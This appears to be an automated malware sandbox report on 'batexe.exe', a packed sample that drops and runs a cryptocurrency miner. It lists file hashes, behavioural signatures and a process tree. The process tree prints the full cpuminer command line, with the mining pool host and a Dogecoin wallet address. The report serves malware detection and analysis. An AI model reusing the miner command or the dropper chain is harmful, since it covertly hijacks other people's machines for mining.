Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
294s -
max time network
298s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-ja -
resource tags
arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows -
submitted
21/02/2024, 11:56
Behavioral task
behavioral1
Sample
batexe.exe
Resource
win10-20240214-ja
Behavioral task
behavioral2
Sample
batexe.exe
Resource
win10v2004-20231215-ja
General
-
Target
batexe.exe
-
Size
9.4MB
-
MD5
cdc9eacffc6d2bf43153815043064427
-
SHA1
d05101f265f6ea87e18793ab0071f5c99edf363f
-
SHA256
73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
-
SHA512
fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
-
SSDEEP
196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation batexe.exe Key value queried \REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation b2e.exe -
Executes dropped EXE 2 IoCs
pid Process 1192 b2e.exe 4880 cpuminer-sse2.exe -
Loads dropped DLL 5 IoCs
pid Process 4880 cpuminer-sse2.exe 4880 cpuminer-sse2.exe 4880 cpuminer-sse2.exe 4880 cpuminer-sse2.exe 4880 cpuminer-sse2.exe -
resource yara_rule behavioral2/memory/4080-9-0x0000000000400000-0x000000000393A000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 4080 wrote to memory of 1192 4080 batexe.exe 85 PID 4080 wrote to memory of 1192 4080 batexe.exe 85 PID 4080 wrote to memory of 1192 4080 batexe.exe 85 PID 1192 wrote to memory of 1288 1192 b2e.exe 86 PID 1192 wrote to memory of 1288 1192 b2e.exe 86 PID 1192 wrote to memory of 1288 1192 b2e.exe 86 PID 1288 wrote to memory of 4880 1288 cmd.exe 89 PID 1288 wrote to memory of 4880 1288 cmd.exe 89
Processes
-
C:\Users\Admin\AppData\Local\Temp\batexe.exe"C:\Users\Admin\AppData\Local\Temp\batexe.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4080 -
C:\Users\Admin\AppData\Local\Temp\6C47.tmp\b2e.exe"C:\Users\Admin\AppData\Local\Temp\6C47.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\6C47.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1192 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\6F44.tmp\batchfile.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:1288 -
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.execpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 34⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4880
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
20.2MB
MD5d90e676416682e6c285b8cca44b6e492
SHA10bf5503bf860f9abb4028f0b69a3c0c10a85c1ef
SHA256be96fde3b3d71b7d00b5519b4a5c7d821b6c14bb15778b6e610c70cecdbd6ec6
SHA51288f2bd823f8940cb60e36f4dbaca0ad4a4d78e7b1d1e3320b62e927710743cb2c0f2e38b1a16bf55f10ada40e7d3a0febd4ad5e0beff752496372a8a59bf1d62
-
Filesize
10.1MB
MD5ec358e6a60b1ffe6834518781dd09e0b
SHA148d44931f8905eced709adf13c6ea6bf13eb859f
SHA2563d81b070d08ccb442d783e81edc8c7d86e10f714d8cb7fce9a8bfb02c6d34337
SHA51223520e5e59eaecd44b0ffd2b5c5713d316970cd3b7cd8a3ae0c8772fcbf12e9dd32a0578ce7f404c6c4b5dfd40614ae9b948ead6a0d9e02ed449b7a90acf2cbc
-
Filesize
11.1MB
MD5db594a6eb1863a13e8751f6d7e7bae28
SHA1c81236a07f9f26c7a76c371e3980adf6a8f54aa4
SHA2562ba46b55f6591a336bee1afeeeca3ee64f892446482b16e38a411e045923c6e4
SHA51232cf65807dd2b170191aaf4dda76b88e4bb7a512f5847eedda1ac0f9e932e837610763177bec511afb5a43678e21694310cd8af1a5e0bba9a2bf5bc0878e0452
-
Filesize
136B
MD58ea7ac72a10251ecfb42ef4a88bd330a
SHA1c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA25665e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
SHA512a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
-
Filesize
256KB
MD5e0c023f2dc80d8f2415830dcaf9b9e45
SHA19806d1f4bd0f76e044071f95f9210b09c2c09fd0
SHA256dc7de4210ed002ed6ab8340d21f999fd77ff9c1fe4361227ebbe3324b24009a0
SHA51276d594de32b07899a478e6b1fbe4a158492174439df3a65478b21135aea9695f47cd6b5006d1bb28398fb1b1f0e64f33e839ae16225fe755bcec4d25d3caf0ef
-
Filesize
770KB
MD57736c535eab96069d57bcd68250695ca
SHA1f2cba3ea433e95f6249a830d9b1ee14bb6ae15f6
SHA256c18a9632f44117af1d51ba2cb1c7371a4f8f596abebc8d9f7ffb0341d1077a3d
SHA512ac666428d839767524f25b3ac3ddb1f14c9e72338193e8acbe0b1dc739bbc4a0f2c560fc8cfe8c93ae3b4659b105a94ad23a47dd93a53c65c4c1aeb3a0680404
-
Filesize
671KB
MD5a14151b2f3c757d66bf2d3f6b198e47b
SHA13d7aed435992ce6c140d4ec9c2baeb30f017c8c8
SHA256b4a375e2f752892eedbcfdae747a71eafe9f64bc22abb94eb43f56221a7e271d
SHA5128ec6fee7587f1785b1a58731571050fbf29891072c25e0b60b5c68cb33d77be1d5787a09f47c51bacf7b9ecb0e789a96d43c3598c22fa90ce47575f64920c190
-
Filesize
409KB
MD5aa083d8d7fbc1e2b43279702d503af36
SHA1ef58af113aa399c371b54ae9188ae1c9aa8764c0
SHA256d825517116fe3895069e8ff7806175dcdb454bf48207139a6751b8b423769061
SHA5128ffdcd69f4bfc5a5df30347de162799d1dea7ae2513260368c415621068acdfefb4b35a0964fe69b95d81f64e89c8af594d7c45494ed754b0268ad9427144216
-
Filesize
881KB
MD5c60a4820916822637f809ee27200df77
SHA18aae7fb535963d1836b266d82922c00f74e1eaee
SHA256f2b6a7225c7adb91aee860a6f6bc6f14425f42b7e2e89647b725b1b90e3549fa
SHA512e2edf0895b802d0d49339640d3a22398ba328133d57fa813f50bc2be2a3e7ffa0365870e4499bd8bf2ea278485975fd22c47bce96cc71a8a51461b535f2dd5be
-
Filesize
662KB
MD52d7f476e077de4f9652a5d3f077d85bf
SHA1a401fb9e81e73e089386f65f937e9cbf136bfb86
SHA256cb48a822d56e486c776996729d0f350d8893daba473525722e13a316210ba4d1
SHA512fe2610a77bdf708b123aa95b801263010f9a540dc3f73a096790088aea233fed878e1dd6d62e2c92b5d37b7178bc8230da95d80edf6fd6ecbb0559babc48e748
-
Filesize
640KB
MD51b7339cbcb5b756c15c05fe0cc6443f3
SHA1abdba01c4526a9bbbb7fd3853e09bce3cbb5287d
SHA2565fcf0fb116f77206758e3a669ec4fa52648fae431a5c2aa2d7ee69944142e019
SHA5127661b5e8413e74432a00089b1556b2f49e268b6b5c8cefd839cbe19074bffd138c18e8078627420f4082f579a9e3f8d02b199507ae36380b5375162a4d4ba439
-
Filesize
467KB
MD57944a735039bfed4bf90b937e9ada286
SHA1f360f89aab0de82c481a9dda2df2670a2d383ede
SHA25628df6830c321bdca97b2b782ea29734d792b2c854df26ba292976601bcd6726e
SHA512d03d885d463a6abd9d4e770cdf94231791268c3ffb5547445d7629dd6a90e9a2168bd8334849f6c0019756c60fc5dea909fee9e15f62f6bb6eff499532d99275
-
Filesize
477KB
MD564fffd0d6e2645d873db340b66aef0bf
SHA1f9b7b8bdcd32c3dc24188edcb0e59ca529e9344c
SHA256ad6e957f97ef894b1d74b8725393d59cc7a1deae654be3764cc3021f822ef56a
SHA512f1dee490ce13c956792b47ecacb8ef806c91a8c0fa310b8f8d8d321e46bbe3963ed6099ead1475e079754a0b24b20eb547bdd15765fcde1a20ff64756dbfc713
-
Filesize
469KB
MD58808b4195510226c789f639aff050eb3
SHA1cb6835df221f0bcc4d371a7684ef0ae4e07cb7e9
SHA256f34523d089c5b7aea851f9089348913df980b3b3838d2a3790c2e8ba4989b36b
SHA512e8d88841ed2759db191b8f987615c19bd08cbd8c9e77d5c6e8bbde59a45802baa7869aa85c3c16672a4ee72c162846d4e41e2830c439d1f530fe54b4e41faf14
-
Filesize
293KB
MD5fa436c62a3c2c6d4acbb7a22929a4f55
SHA16f6b263f5ddd81d2fff449b557c26efadb70b09f
SHA25659e0327e3be08747b389296a3a182a9a2930cb41fe0ee87dcc05833b8683d091
SHA512fbe383eb146875b01d41c4dd0d4ab252cc59f1a40559a6341ba0b31a211edf05f0f59db328276645b456a3b0d33e56866f91c6b54749896354a5e3e9a135833c